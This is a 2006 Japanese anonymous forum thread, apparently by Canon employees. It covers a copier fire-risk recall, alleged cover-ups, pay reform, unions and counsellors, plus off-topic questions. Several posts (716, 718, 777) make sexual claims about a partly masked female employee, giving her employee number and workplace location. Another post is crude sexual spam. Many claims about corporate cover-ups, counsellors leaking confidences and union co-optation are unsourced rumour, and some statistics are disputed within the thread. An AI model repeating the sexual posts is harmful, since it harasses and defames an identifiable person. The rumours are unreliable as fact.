三菱・松下・パロマみたいに謝罪広告やDM出すのか?
結局、人命に関わらないと余分な金はかけないって事だね

まぁサービスマン対応出来ないパーソナル機だから無償修理なんだろうけどね

いっとくけど今の品質レベルは最悪
今回の件なんて足下にも及ばないよ
はっきりいって売っちゃいけないもの造ってる

これはユーザーにいってるんじゃないよ
キヤノンの経営者に向けてだよ
悪いものは悪いと素直に認めなさい
もうあんな機械造りたくないよ

プライドなくなっちゃったね
キヤノン…

698 ::2006/09/12(火) 20:27:01 ID:4eucg/dr
>693
同じムジの穴wwww

699 ::2006/09/12(火) 21:05:26 ID:ZHzVCz1m
>>695
2ちゃんで論破だってwwwwwプゲラw
頑張ってエロい人www

700 ::2006/09/12(火) 22:18:33 ID:fMKF03NE
同じムジの穴 の検索結果 約 1,010 件中 1 - 10 件目 (0.73 秒) by Google

701 ::2006/09/12(火) 22:25:24 ID:X2x9jZAY
キヤノン小型コピー機、発火の恐れ…

さすがに「命に関係ないから欠陥はスルー」とは行かなくなったようだな

702 ::2006/09/12(火) 23:01:58 ID:jdgHr2Bh
>>701
既に業務用コピー機で発火してるものありますが何か?
今必死になってサービス店の人間に対策という名のリコールさせてんじゃん。客に内緒でな。

703 ::2006/09/12(火) 23:15:51 ID:jdgHr2Bh
発火じゃなくて熱変形か。まぁ客にとってみれば同じ事だと思うけどな。
つーか電気機器全般で考えて発煙やら焼損ってそんな珍しい事か?
調べりゃメーカー問わず結構出てくるぞ。

704 ::2006/09/12(火) 23:54:43 ID:H4sDDd9A
>同じムジの穴

同じ穴のムジナが正解だな。

2ちゃんでは通用するが、あなたでは論破は無理。

705 :///:2006/09/12(火) 23:56:12 ID:QLAQb48N
みんな騒ぎすぎ。

706 ::2006/09/13(水) 21:42:42 ID:k0Vh06uu

過去の2件は隠蔽してたんですか?


707 :*:2006/09/13(水) 21:58:39 ID:IjdbgteO
今頃、発表するところはさすがだね!
現在は殆ど使われていないため、無償修理による金銭的ダメージを受けない。


708 :リコールきたぁぁぁぁぁ:2006/09/13(水) 22:54:10 ID:Qfwf1fld
16年前の不具合を今頃対策かよ。
ラインのヒートランで定着器異常があったので報告したけど、他には言うなって口止めされてたよ。

海外で作ったのはどうよ。
タイランドとフランスでPC7を生産していたぞ。

今時、こんな機種使っている顧客はほとんどいないから安いもんだね。
とりあえずやっておきますかってとこでしょ。>品保さん

709 :-:2006/09/13(水) 23:18:33 ID:7gEdQ9ez
地下水汚染も長年隠蔽してきたわけだし・・・

経団連の会長だって?
日本の未来は恐ろしいね

710 :.:2006/09/13(水) 23:20:48 ID:C5uga9kt
欠陥公表時の
>迷惑をかけて申し訳ありません。今後は品質管理を徹底します。

って、見飽きたんですが・・・
思ってもいないくせに、毎回コピペしてるんじゃねーよ。

711 :sage:2006/09/14(木) 11:39:51 ID:3oO4L7kB
同じムジの穴

激ワロス
すげえセンスだな

712 :sage:2006/09/14(木) 17:20:43 ID:WHN5dcU+
突然だけど「のびのび運動」と「キヤノン体操」って違うの?

のびのび運動をやっていますか?
それでは今日もキヤノン体操を始めましょう。

なんかつながり悪くない?

# とりあえずメロディをハーモニカで吹けるようになった。

713 :丸子:2006/09/14(木) 18:13:26 ID:cFojDNbu
L棟も発火解体します。

714 :_:2006/09/14(木) 19:31:00 ID:taZwu3Va
>>712
律動体操だろ

orz=3

715 :sage:2006/09/14(木) 19:57:33 ID:WHN5dcU+
知らんかった。ありがと。

716 ::2006/09/14(木) 20:28:14 ID:oWWX2c1L
長浜のヤリマン、社員No.1512佐〇〇ぐみとヤろう!

717 ::2006/09/14(木) 20:38:19 ID:UScg/K0A
とりあえず紹介してくれ

718 ::2006/09/14(木) 20:56:30 ID:oWWX2c1L
長浜のA棟2階、クリーンルームにいる。「しよっか?」って言ったらヤらせてくれる。一緒に仕事したことある男はみんなヤってるし。

719 :719:2006/09/14(木) 23:49:55 ID:gX4arKLu
ショッカーわろす

720 :a:2006/09/15(金) 00:01:13 ID:4T+0LUtz
おいおいスルーするなよ
「同じムジの穴」だぞ!
ムジって何だよ!?wwww

どこ卒だよオマエ!!!!

この言葉のせいで今日仕事にならなかったじゃないか

721 :名前いれてちょ:2006/09/15(金) 00:52:50 ID:zIuWSbzy
不具合隠蔽話から話逸らそうと必死だな

722 : :2006/09/15(金) 17:53:45 ID:t9KMvh0M
1から読んだんだけど、
こんなところにカキコするよりも
例えば、会社のカウンセラーの先生とか
産業医の先生とか
労働組合の執行部の人に話を聞いてもらって解決した方が
はるかに建設的だと思うな
今のままじゃ会社の恥を全国にさらしているだけのことだよ
なーんにも解決しない

723 :sage:2006/09/15(金) 18:10:14 ID:lQQeAesA
恥をさらそうと思っているので無問題。

724 :おまいらの存在が恥:2006/09/15(金) 19:16:27 ID:abfA6ppI
ココ読んで思うのは、
おまいらはいっったいどれだけやってんだよ?、てこと。
給料にモンクゆうなら、おまいはいったいどれだけ貢献してるのかと。
組織にモンクゆうなら、おまいは上司を納得させれんのかと。
会社が間違ってんなら変えりゃいいじゃん。
結局、おまいらにチカラがないだけじゃん。
能力ないんじゃん。
そうゆうひとが集まってグチゆってても全然たいしたパワーじゃねえ。


それから砦B1棟の造りにモンクゆってるやつ、
D1やC8やC10に住んでる火星人に謝れ。

725 :sage:2006/09/15(金) 19:59:59 ID:lYpXTPnE
>>724
マジレスすんなよ…
誰だってグチりたいじゃん

お前も本気で追い込まれたらやり場のない怒りや不安を必ずどこかへ吐き出したくなるから…

まぁせいぜい上司の事、コテンパンに論破して意地悪されたり、人事考課さげられたり…
どこか遠くに飛ばされないようにしなよ…

キヤノンはでかい会社だからいろんな環境や人間がいるって事
自分の今の環境が全てだと思ったら大間違い
もうすぐわかるようになるよ

726 :724:2006/09/15(金) 20:02:43 ID:abfA6ppI
ういうい、それもわかってるw

あまりにキヤノン風味のレスに安心したww

727 :sine:2006/09/15(金) 20:22:10 ID:az1tl26L
724=万年童貞毒男でFA

728 :_:2006/09/15(金) 20:23:29 ID:66lVFuix
どうでもいいけど誰が砦B1棟の造りにモンクゆってるんだ?
マ○コB棟の話じゃないのか?

729 :sage:2006/09/15(金) 21:20:47 ID:lYpXTPnE
>>728

まぁ>>724は世間知らずという事で…

文面からすると砦勤務の仮性人と思われ
全てを悟ったような態度だけど何もわかってない御仁だね

730 :ちっ:2006/09/16(土) 01:19:59 ID:14BaM3Ar
>>722 ゼロックスのスレにも同じ事、書いてあった。
氏ねゴラァ

731 ::2006/09/16(土) 03:16:51 ID:sBmW4ypQ
どうでも良いけどお前ら能力無さ杉( ´,_ゝ`)
もうちょっと世間を知れと

732 :同意:2006/09/16(土) 04:18:49 ID:p+xJ5JWn
暖かい井戸に守られて一人前の顔をする、
これがキヤノンクオリティw
まあ、ほんの一部のダメ社員なんだがなw

733 : ¥:2006/09/16(土) 11:47:44 ID:5/4PyYKo
SED出すのか出せんのかハッキリしてくれ。

もー別なの買っちゃうぞ!

734 :a:2006/09/16(土) 15:27:34 ID:4OcNDnjQ
新卒が他の会社も知らずに愚痴るなと


735 :質問です:2006/09/16(土) 19:16:48 ID:ZawSql7L
裏事情スレの方が答えてくれそうなので、質問します。

今使ってるテレビがプラズマなんだけどSEDってどうなんですか?
プラズマや液晶より凄いって話はよく聞くんだけど。

あともう一つ、Canonのデジカメの一番いい奴。
あれってCMOSですよね。CCDの方が綺麗だと思うんだけど
CanonのCMOSって独自の開発でCCDよりきれいなんですか?
デジカメ買おうとしていて候補にCanonがあるんですけどどうなんですかね。

一応自分はCanon製品は好きですよ。応援してます。

736 : :2006/09/16(土) 20:07:00 ID:YVL+EkiZ
>722  カウンセラーに相談する馬鹿がどこにいるか
       
      経営者とゆちゃくしている組合に相談するアホがどこにいるか

737 :aa:2006/09/16(土) 20:55:45 ID:ptzxpbBv
>>735
SEDは来月のCEATECで展示があるから、実物を見た方がいい。
応答速度が段違いにはやいし、視野角を気にする必要もほとんど無い。
消費電力的には、液晶とどっこいどっこいで、プラズマとは比べるまでも無い。
問題は、最初は値段が高くなると思われるところかな。

http://plusd.itmedia.co.jp/mobile/articles/0408/05/news052.html
↑CMOSとCCDの差について
CMOSはとにかく安価に作れるのと、消費電力の低さが売り。
最近は感度や周辺回路の改良でCMOSブームが来そうな感じなのさ。

738 :質問です:2006/09/17(日) 02:03:53 ID:Iiked9Am
>>737
レスありがとうございます。
CMOSのこと詳しくわかりました。

739 :あほか:2006/09/17(日) 12:07:26 ID:ERB/EDQ2
>722
はいはい、会社の犬、ごくろうさん

この会社クラスになると、カウンセラーの言う事なんぞ、貧民が力えて喜んであほ言ってるにすぎない、と言える位のレベルの社員が基本かと。
えぇ、会社の用意したカウンセラーみたいなDQNに相談しなくて良いですよ。

労組?A評価にまつわる話、隠してどうする(笑)
彼等の仕事は、組合員に不利な話を、会社に代わって組合員に押しつける事。
#組合員に不利でなければ会社が言うもんね
不公平に利益を得ている連中にさらにネタ提供してどうするよ。

ばーか。

740 ::2006/09/17(日) 13:00:55 ID:uY1oMB6s
キヤノンでパワハラにあたる行為ってどんな事?

741 ::2006/09/17(日) 14:46:31 ID:hmHIgJXm
パワハラの定義しりたい

742 : :2006/09/17(日) 19:07:56 ID:g1Lr/Z/C
>>739 コニカミノルタの裏スレに、カウンセラーについてのすっぱ抜きがあった。
キヤノンさんはこれほど酷くはないでしょうが、参考になると思いますので貼り付けます。

469 :真理  :2005/04/17(日) 03:31:51 ID:QZANnem9
私の知っている範囲で、印象に残っている事だけど、
カウンセラーや産業医を買収して情報集めして、攻撃対象の職場
の管理職をおどしたり、個人をユスッテいたな。別件で譲歩させたりとか。
カウンセラーというのは、法律で守秘義務というのがあるんだけど、
そんなのは在ってないようなものだったな。

そこで、この場を借りて、旧ミノのカウンセラー攻略法を紹介しよう。まず、カウンセラーを
雇い雇用契約を結ぶ。ただ最初は、お客さんもマバラなことから、馬鹿安い給与で
雇うのである。カウンセラーの方も暇でお金をモラウノハ気が引けるため、それを
希望するのである。その内に客が増えてくる。それでも賃上げしないのである。
で、不満がでたところで、会社側が賃上げと交換条件に、情報提供を要求するのである。
それでオチナイ時は、交渉担当者代えて、次のようにもちかけていたな。
“私たちは従業員の働きやすい作業環境を作りたいんだ。先生が悩みを聞くだけでは
単なる対症療法に過ぎない。私たちは職場の本質的な問題を解決したいんだ。何とか
先生の力を貸してもらいたいんだ。”と。
その結果、私の知っている3人のカウンセラーの内、2人までが賃上げしてもらったな。
受診者に内緒で漏らしたとなれば犯罪だから、その表現で勘弁願いたい。
残りの一人は辞めたよ。その人はカウンセラーとしての格付けは、3人の中でダントツの
トップだったんだが、旧ミノの評価基準では、最低ランクだったということだな。
旧ミノの評価基準って何なんだろう。

カウンセラーは沢山の人から相談を受けるため、カウンセリングカードに内容を
書き込んでカウンセラー室の机の中に、鍵をカッテ入れておくのである。カウンセリング日
或いはその前日あたりに、茶坊主(人事課長/総務課長など)が部屋に入り込み、カードを
読むのである。そして、カウンセラーが到着するとスグに、気になったカードの具体的内容を
聞き出すのである。カウンセリング前の30分の時間で行っていたな。

743 :続き:2006/09/17(日) 19:09:09 ID:g1Lr/Z/C
50 名前:  [sage] 投稿日:2006/09/03(日) 14:06:48 ID:kqaZcuUY
2005/04/17(日) 05:39:30 ID:ce1+udyY
真理が語っていることは事実だね。

オレもカウンセラーのオバさんには色々と余計なお世話されたヨ。
無理矢理なくらい強引な誘導されて「ネ、具合が悪いでしょ?」と
へんな念押しばかり入れられて「マ、チョット疲れていますが」とか
言ったとたん担当役員が「ワレ、少しラクしてこいや」とばかりに異動命令。
急にプロジェクトから外された。
経企のバカ専務に逆らったからだろうが、たしかに陰湿だったよ。
S元常務がカウンセラーの利用方法を得意気に話していたそうだから
きっと彼の発案というか、取巻きが入れ知恵したことだろうけどな。
こうやって自分に都合の悪い煩い奴は潰すんだな、と思った。
こういうことにエネルギーを費やす役員どもが横滑りしたKMの経営陣なんて・・・・


51 名前:abc[] 投稿日:2006/09/03(日) 16:17:06 ID:siT1mDor
この会社、ひじょうに精神疾患にかかっている方が多いのです。
世間では30%くらいの人が心因性の疾患を患っているそうですが、
コニミノは50%を超えています。会社の将来性がないことと、ロクな社員が
いないためです。私の職場でも、鬱病を抱えている人が何人もいます。
上司の対応をみても、「これじゃ病気になる」という問題のある対応ばかり
です。会社は選べても上司は選べないといいますが、コニミノを選んだ
来期の内定者は、早めに辞退されるほうがいいと思います。
世間では治るとされていますが、鬱病は治りません。

744 ::2006/09/17(日) 23:56:36 ID:dYaA40QM
世間では30%くらい
コニミノは50%を超えて


こんなもん真に受けてコピペすな

745 : :2006/09/18(月) 00:29:36 ID:cyq2FQhj
広義の精神疾患でしょ。
通院や投薬の必要ないレヴェルの。

・・・・まあ、そのくらいの数字でしょう。
コニミノの50%は眉唾ですが・・

746 ::2006/09/18(月) 14:35:23 ID:13EI6Nhs
すげえ広義ワロタw

747 :七誌:2006/09/18(月) 15:02:48 ID:1N2x19ef
B棟なんてまだまし。F当にくらべたら・・・

748 ::2006/09/18(月) 21:42:48 ID:13EI6Nhs
ググるマップでマ○コ見たら
オレ居た頃とまるっきり変わってて驚いた。

749 :^:2006/09/18(月) 21:54:20 ID:13EI6Nhs
>>七誌
そうはゆっても構内に床屋とか歯医者とかあるんでそ?
ガス橋勤務は恵まれてますよ。
ま、通勤圏に住みたくはないけどね。

750 :B棟:2006/09/18(月) 22:00:10 ID:05ggIAhV
>>747
なんの話?

751 :^:2006/09/18(月) 22:10:13 ID:13EI6Nhs
>>B棟
ゾヌとIEでレスの数が違うんだが、
もしかしてオレのPCだけの現象ではないのか?

752 ::2006/09/18(月) 22:17:54 ID:9BkAsskE
>>748
ぐぐるマップもあほーマップも古いじゃん。
CD塔がまだあるし、F塔、R塔さえまだ建ってないし。

>>751
あぼーんあったよ。
とは言え通常あぼーんだからレス数が違うのはおかしいが。

753 :^:2006/09/18(月) 22:36:42 ID:13EI6Nhs
>>751
ゾヌのDAT消したら治ったわ、さんきう。

754 :^:2006/09/18(月) 22:38:52 ID:13EI6Nhs
安価まちがいスマソ。
どうでもいいカキコでスレ汚してすまぬ。
が、
荒れるよりこんなマターリ語れるスレがいいねぇ。

755 :土壌汚染きたぁ〜〜〜:2006/09/18(月) 23:30:23 ID:uA4bc3f9
田万川で土壌汚染があったけど報道発表どうよ。
も○えは、土壌汚染対策法施行前だったからと言ったと朝日新聞は書いているけど、
砦は施行前に発表してるぞ。
そのときの責任者も○ろえだったけどな。
言っていることが矛盾していないかい。
もしかしたら何か隠蔽しているんじゃないの?

どこの報道機関がすっぱ抜くかな。

756 :  :2006/09/19(火) 00:40:13 ID:+0burMZM

床屋ってあるか?
ジムやプールならあるけど。

757 : :2006/09/19(火) 00:59:41 ID:ZPatt2Lg
>>739 たしかに組合は頼りにならないらしいですね。コニカミノルタのチクリスレッドにすっぱ抜きがありました。
cannonさんの組合はもう少し真ともだとだと思いますが、まあ参考にしてくだい。

株やってるんなら、労働組合史も一応おさえておいた方がいいよ。老婆心ながら。
大企業の人事や企画に配属されると、労組の凋落のさせ方を問題形式で教育して
もらえるよ。それでは行きます。答えを見ずに解けた人は人事企画の才能ありです。

【問題】昭和30年代、労働組合費の給与天引きの是非をめぐって、労使で
    大論争を繰り広げていた時期がありました。当初会社側は労組の活動
    の手伝いをする必要はない、と言い張っていたが、すぐに黙った。
    そして、どこの会社もコゾッテ給与天引を始めた。
    それは何故でしょう。300字以内で述べなさい。


【答え】労組の根源的な要望は何か。それは労働者の地位向上や労働条件
    の改善ではありません。自分達のやっている活動を認めてもらい、かつ
    評価してえもらいたい、と言うことに尽きます。
    給与天引になれば、第2組合や第3組合の発生を防げる。また、入社と
    同時に組合員に編入できる。組合費を対面で集めるとなるとアウトプット
    を求められます。御用組合してれば組合費不払いや脱退者もでかねないし・・。
    給与天引を開始した会社の労組は、次々に従順になって行きました。
    これを見た他の会社も右へならえした訳です。
    更に、労組活動をしている方は皆を引っぱって行く能力を身に付けた人
    だから会社としても高く評価しましょう、というシステムを導入した
    会社では、労組を完全に買収することに成功しました。めでたし、めでたし。

758 :続き:2006/09/19(火) 01:01:28 ID:ZPatt2Lg
あくまで一般論として答えるから、そのつもりで聞いてください。
あくまでも一般論ですよ、旧Mのことではないよ、そこのところを押さえた上で聞いてください。

労働争議が華やかだった頃の労働組合ってのは、
一部の共産党員が率先垂範で全員を引っぱっていたからなあ。
経営側も、いくら金が儲かっても従業員に還元しなかったから、余計に事態を悪化させた。
当時の新聞記事は、最近従業員が会社の帰りに天丼を食べているのを見かけるが、これは過剰に賃金を
払いすぎているが為の現象である、と経営者が発言したことを問題にしてたそうだ。
いわゆる、天丼春闘である、いまでは想像もつかない事だけど・・

さてさて、この苦境を脱するのに活躍した人間は、会社の土壌で育った人間ではなかった。
組合出身者が活躍したのだ。
組合あがりの人間を、人事総務部門に入れて労働組合との調整をさせるのだ。

しかし、組合だって馬鹿じゃないから、
『おまえは、自分の仕事のため、自分の立場のために調整してんやろ』と反応した。

そこで、『いやいや、そうじゃない。今、君たちがやっている活動、つまり皆の意見を聞いてやり、皆を束ねて
ベクトルを一つにするという技術は、会社経営をしてゆく上でも非常に有用なものだ。その技術を会社の
管理職という立場で発揮してもらえないか。組合活動を一定期間やった人はすべて、会社としても高く
評価するということだよ。ついては、君たちの仲間の共産党員たちを追い出そうと思うのだが、協力して
もらえないか。』と言い寄った。
これに対しては、組合も大歓迎で、共産党の追放に協力した。
その結果、共産党は組合を裁判にかけたりして暴れたが、多勢に無勢で去っていった。

さらに会社は、組合費の給与天引と、新入社員を全員組合加入させることにも協力した。
第二組合、第三組合が出て、自分達の立場を危うくする心配をなくしてやったのだ。
また、給与天引なら、個別回収と違って、組合の活動状況のチェックも曖昧になるから、
労組役員としてはやりたい放題だ。

759 :-:2006/09/19(火) 01:19:21 ID:2rWMic68
まあいろいろ疑ってかかるのは悪いコトじゃないけど、
キヤノンの中でなんかあったんならそれ書けよ。
なんか思うことがあるんならそれ書けよ。

つか、KMスレまで巡回して御苦労なことだが
おまいさんキヤノン関係者なのかい?
どうゆう意図かしらんが
回りくどい工作いらね(・_・ )ノ ゜ ポイッ

760 :  :2006/09/19(火) 01:49:08 ID:ZPatt2Lg
>758  実は、コニミノのスレで、楽しく会話していたんですが、
コニミノ人事と危機管理委員会が会話の邪魔するんです。
空レスいれたり、化けレスいれたりして。
それはもう、酷い状況です。
それで、そんな所にとても住めないから、キヤノンのスレの軒下貸してもらえたらいいな、ってところです。
同じ業種だし、話も合うんじゃないかってね。
本当は、コニミノスレにいたいんですが、妨害の仕方が陰湿なんです。

それで、文化が合うかどうか、レスを入れていたんです。

もし、お願いできるなら、業界リーダーとして、コニミノ経営陣に苦言を言っていただけませんか?
不法移民がキヤノンに大量流入して困っている。
自分の尻は自分で拭きなさいと。
とにかく、空レスと化けレスさえなくなれば、ここにくる必要はなくなるんですから。
そういう意図ですので、ご協力よろしくお願いします。

761 ::2006/09/19(火) 18:52:51 ID:6EVg0bvm
業種は同じでも社格が違う

762 :-:2006/09/19(火) 19:07:37 ID:2rWMic68
KUSCOってなんだよ、まんこ開くやつ?
一瞬、CUSCOかと思って驚いたぢゃないか。

763 :*:2006/09/20(水) 16:47:22 ID:14t2TvUu
07問題でどんな対応取るのかな?派遣が正社員になったりしたら嫌だな。

764 :+:2006/09/20(水) 19:51:33 ID:s+0BZb8D
↑それすげえイヤだw
なんてゆったら叩かれそうだけどwww

ハケンに落としたい正社員はいるが。。。
1日寝てて残業つけて帰るやつらと同じ給与体系って我慢できねえよ。。。

765 :潜水:2006/09/20(水) 22:26:56 ID:kg7BZ0eh
文句があるなら墓掘れよ。俺等は7人で掘ってるぜ。自分の墓になるかもしれんが。楽しいぜ。

766 :+:2006/09/21(木) 00:22:08 ID:Mi9ZIQns
先日、掘りかけたら自分が落とされました。。。
浅かったから助かったけど、
部公認みたいにそうゆう部署があるんで他の部員も口出しできず手強いっす。

仲間がいてウラヤマシス。。

767 : :2006/09/21(木) 01:14:33 ID:qJAsacW3
あのさあ、墓は一人で掘っちゃダメだよ。
それから部内に掘ってもダメさ。

768 :7:2006/09/22(金) 00:35:15 ID:GJbvDMaF

全く関係ない話題で申し訳ないのですが
質問させて下さい。

来年キヤノンに勤めている男性と結婚します。
裾野勤務です。
私は小田原周辺に住みたいのですが
どうも通勤が大変らしいのです。
(電車のつなぎが悪い&三島駅から遠い)
小田原、湘南周辺に住んでいるキヤノンの方は
どのように通勤されているのでしょうか?

ちなみに高速で「大井松田」→「裾野」で通うというのは
厳しいとのことでした。




769 :+:2006/09/22(金) 00:53:31 ID:gySxt3PZ
たまにこうゆう神レスがあるところが、キヤノンってやっぱすげえなと思う。
おかげでちょっとマジに考えた。

認定が怖いので詳細は書けませんが、
当面は動くべきではないと判断、意識から外すよう努めます。
どこの事業部にもあるんですかね、ああゆう部署。

前のレスに派遣うんぬん書きましたが、
むしろ意識の高い人材の登用は大歓迎です、どんどんやって欲しい。
公平な評価で報酬格差の路線にも賛成。
公正で説得力のある評価がなされるなら自分の給与が下がっても納得できます。
が、タテマエだけで寄生虫を温存する体質が変わってないのが不満なのです。
まあ、直接オレに害があるわけじゃなし、
声を上げてもリターンはなくてリスクが大きすぎますわ。
そんな考え方はしたくないんですけどね。

ココに書いても仕方ないんですけどね。。。
ま、グチ吐けるトコ他にないんで。吐いて明日も頑張りますわ。
ちょっと書きすぎてヤバイかなーとも思うんでしばらくココは休みます。

ホワイトカラーの規制撤廃とか、
まだまだ遠いけど少しずつ動き出していることに期待します。
まあ、オレも痛い目に遭うんでしょうけど。

でも分社化推進→本社は持ち株会社化の動きは(あるとしたら)怖いな。。。
福島や上野のような事業所単位だけでなく、
CAD買ってきたように部門切り離しもありそうな予感。。。

んでわ、さいなら〜
お元気で〜

770 :550:2006/09/22(金) 06:21:51 ID:Iw+xex7E
同じ ムジ の 穴 か。。。。。。

771 ::2006/09/22(金) 19:06:14 ID:nsd2blOo
>>768
誰のフィアンセだかわかっちゃうぞ!

772 ::2006/09/22(金) 20:18:50 ID:L745dWtJ
持ち株会社化、割と簡単じゃないの?
事業部間の連携がほとんどなくて、それぞれが別会社みたいなもんだし。

773 ::2006/09/22(金) 20:33:16 ID:qj3CXNrx
もう、キャノンを退職したと思うけど、こんなのがいました。

大阪の某家電量販店(カメラ量販店)オーナーの孫で、キャノン入社。
腰掛で修行だけするつもりだったのかなぁ

彼はKO卒なんだけど、「w大は庶民の学校だから嫌」とか言っていた。
家電量販店といえば庶民の落としてくれる日銭が収入源なのに、そんなこと
言ってたら仕事にならんぞ? ジャガー乗り回して、貧乏庶民を嫌ってる。

馬鹿3代目が店つぶすってよく言うし、、、、
こんなんでもコネで採用すんだね。キャノンは

774 :_:2006/09/22(金) 23:18:47 ID:apDocEMl
NECファブサーブから逝った派遣隊諸群 元気で仕事してるか!!?
返却組みも何人かいるとか噂きいたぞ!


775 ::2006/09/23(土) 13:46:50 ID:tXLC32tM
>>773
慶應ならコネ無くても実力で入れるだろ。


776 ::2006/09/23(土) 21:14:55 ID:x6uvrNur
スマン、墓って意味がわからないのだが。ビス締め工員なもので。

777 ::2006/09/23(土) 23:23:07 ID:y6iEyey6
佐〇〇ぐみ

778 :名無しさん:2006/09/23(土) 23:32:22 ID:JqCwlopS
>>776
墓を掘るなら穴二つ♪

779 :ななし:2006/09/24(日) 00:14:15 ID:P7+CJmJ1
>>773
>大阪の某家電量販店(カメラ量販店)オーナーの孫で、キャノン入社。
>腰掛で修行だけするつもりだったのかなぁ
反射じゃないの?
家電もカメラも量販店には頭あがらんだろうしね。

780 :ななし:2006/09/24(日) 00:26:23 ID:P7+CJmJ1
>>769
>ホワイトカラーの規制撤廃とか、
>まだまだ遠いけど少しずつ動き出していることに期待します。
残業規制?
残業代なしに見合った評価やそれに伴う収入は期待でき無いと思うけどね。

781 :アナル:2006/09/24(日) 00:39:33 ID:yqFb8ZJD
アナルにSいれちゃった!だれか僕のアナルル犯して!あ〜ベニスのさきっぽからいやらしい汁がいっぱいだお〜びんびんだお〜

782 :かんのんさま:2006/09/24(日) 00:45:32 ID:1p3ZYcx9
かんのんさま
かんのんさまのくせに、
かんのさまめ
かんぬ映画祭

783 :名無しさん:2006/09/24(日) 01:23:12 ID:kzwmc5sR
そういやとうとう賃金引き下げ提案キタね。
ゾーンから外れてる16%だかの人だけが対象だけど。
確か現賃金制度を導入したとき総額人件費は下げないって話だったから
下げた分はもちろん全体に還元されるんだよね?

784 ::2006/09/24(日) 02:30:49 ID:m2RDSJS7
>>779 thanks!

でもその量販店、東京の大手量販店が近くに店出してきて、競争で
潰れかけてる(控えめに言うと業績急降下ってとこ)らしい。

D通の営業マンが、
 「このままだとジリ貧ですから、広告キャンペーンしましょ!」
と死に掛けの動物にたかるハゲワシみたいに付きまとってた。
どうでもいいけど、Dは情報通だよね。。。

785 :550:2006/09/24(日) 11:13:47 ID:DleccL2U
>>783
あたりまえだろ。なんでゾーンに外れているやつがいるんだよ。
そんなの役割給制度じゃない。
人事が無能なんだろうな

786 :ゼロサムゲーム:2006/09/24(日) 13:20:49 ID:3eVE/B1I
総額が変わらなくても、
派遣を正社員に引き上げたら一人当たりは減るでしょ。

787 :.:2006/09/24(日) 20:25:22 ID:7F/G+OA0
給料を減らすことで利益を上げるしかないのか・・・

これだから「実感できぬ、景気回復」って言われるんだぞ。

788 ::2006/09/24(日) 20:42:09 ID:u/PjL1s8
>>785
ゾーンから外れているのは旧制度で貰ってた給料に比べて役割が低い人。
移行措置でそうなってる。

>>786
社員を新たに雇用するなら総額は上がるに決まってるだろ。
アフォか?

789 :山路じゃ:2006/09/24(日) 21:06:08 ID:AGx+5Ide
技術者を大切にせねばのぉ〜。聴けば、なんちゃって爺さんの中には、理不尽な賞与カットがあるとか?諸江の陰謀か、組合の陰謀か!?あっ、どっちも富士山の家畜か

790 :550:2006/09/24(日) 21:24:38 ID:DleccL2U
>>788
役割以上の金貰っている奴がいたら若い層のモチベーションがあがらない



791 ::2006/09/24(日) 21:47:50 ID:u/PjL1s8
>>790
本気でそんなこと言ってんの?
アフォか?

792 :ああ:2006/09/24(日) 23:01:02 ID:jtHrE21h
790は自分で自分に突っ込みをいれているのか?

793 :-:2006/09/24(日) 23:41:46 ID:bhZ8iTK/
役割というか、
爺バンドに関わらず
あきらかに使えない40↑のジジイが年功だけで高い基本給もらってアタリマエの顔してる。
平等より公平を漏れも願う。やるならテッテー的にやってくれ。

794 :んん:2006/09/24(日) 23:42:14 ID:pnS4qIDV
突然年収が下がると生活に支障が出るから
対応に苦慮していると聞いたが。
対象者は住宅ローンを組んでそうな年代らしいし、
中には数百万下がる人もいるらしい。

給料貰いすぎの人を叩くより、実力主義といいながら
中身がブラックボックスで公正に行われているかどうか
確認できない試験制度に異を唱えたほうがいいと思うけど。

795 :ゼロサムゲーム:2006/09/25(月) 00:45:46 ID:BkHtOAJ7
>>788
>社員を新たに雇用するなら総額は上がるに決まってるだろ。

常識的に考えれば、そうなんですけどねー。
でもよく考えたら会社も組合もそんなことは一言もいってないんですよねー。
扶養手当が無くなったときも、出張手当が無くなったときも、社宅が無くなったときも、
基本給は1円も増えませんでしたけど、どこいっちゃったんでしょ?

796 :不二子ちゃんよ:2006/09/25(月) 06:13:27 ID:sZS1gDBF
>>795よ。そんな事も解らんのか!SEDに1500億、H/E/R/F/Bに総額2000屋なり。今回の件は、ブラックホール建設に使わして貰うぞ。

797 :/:2006/09/25(月) 07:45:21 ID:OO5Jni9S
思い出したくもないかもしれんが一次の発表そろそろだね。

798 :  :2006/09/25(月) 21:10:27 ID:t6wPhmhL
>>795
扶養手当とかの時は、手当相当額が基本給に
組み入れられたんじゃなかったっけ?
ここは、既得権益を守って若い者にツケを
負担させることが多いよ。

799 :_:2006/09/25(月) 21:16:51 ID:IpkmJiim
>>796
設備投資した分、人件費下げますってどんなアホ経営者だよ

800 :-:2006/09/25(月) 21:23:15 ID:OO5Jni9S
下がるのは『もらいすぎ組』だろ?
いままで若いってだけで給料抑えられてたやつらも
貢献したぶんくれる制度にするってゆってんだろ?

モンクゆってるヤツってもしや・・・・・・

801 :ゼロサムゲーム:2006/09/25(月) 21:34:08 ID:BkHtOAJ7
>>798
それまで貰っていた人は基本給に組み込まれたんですよねー。
公平より公正ってこういうことなんですねー。

>>799
将来大きなリターンが期待ができるならまだしも、SEDと○子ビル群じゃあねえー。
ビル立てるんなら、せめて全ての御手洗(トイレ)にウォシュレットつけてくれー。


802 :_:2006/09/25(月) 21:34:48 ID:IpkmJiim
>>800
下げた分は全体に還元するんだろうな?って話。
勘違いするな。

803 :不二子ちゃんよ:2006/09/25(月) 21:44:03 ID:sZS1gDBF
観音の目指す公正な人事制度は、将軍様バンザイな人事制度に校正することしかありません。終わったな…orz。

804 :-:2006/09/25(月) 21:54:41 ID:OO5Jni9S
『平等より公平』じゃなかったか?

公正でないとしたらそれは別の問題かと。

805 :名無し:2006/09/25(月) 22:28:54 ID:sZS1gDBF
面接問題です
A.お買い物レシートに《当たり表示》で100人に一人だけ無料になるお店
B.お買い物レシートに《1〜5%表示》で全員がもれなく割引
売り上げ・利益を上げるとすればどっち?
正解はA
解説
弊社の経営姿勢を、もう一度良く理解して下さい。弊社では、原価が下がった分を価格には還元しません。多くの庶民から金をむしり取ります。
集まった利益は、ほんの一握りの株主様に還元します。
また、多くの株主様は、企業同士の持ち合いなので、配当金はキックバックさせます。全て計算通りです

↑ウソです。本当の正解はBです。解説するまでもないか。


806 :ゼロサムゲーム:2006/09/25(月) 22:39:14 ID:BkHtOAJ7
>>804
あははー。酔っぱらってたんで間違えちゃったー。
こりゃ試験に受かんないわけだわー。(T_T)

807 :-:2006/09/25(月) 22:50:15 ID:OO5Jni9S
一次の発表って明日だっけか?

君らの日頃の見えにくい頑張りが、せめて報われる結果であることを祈る。

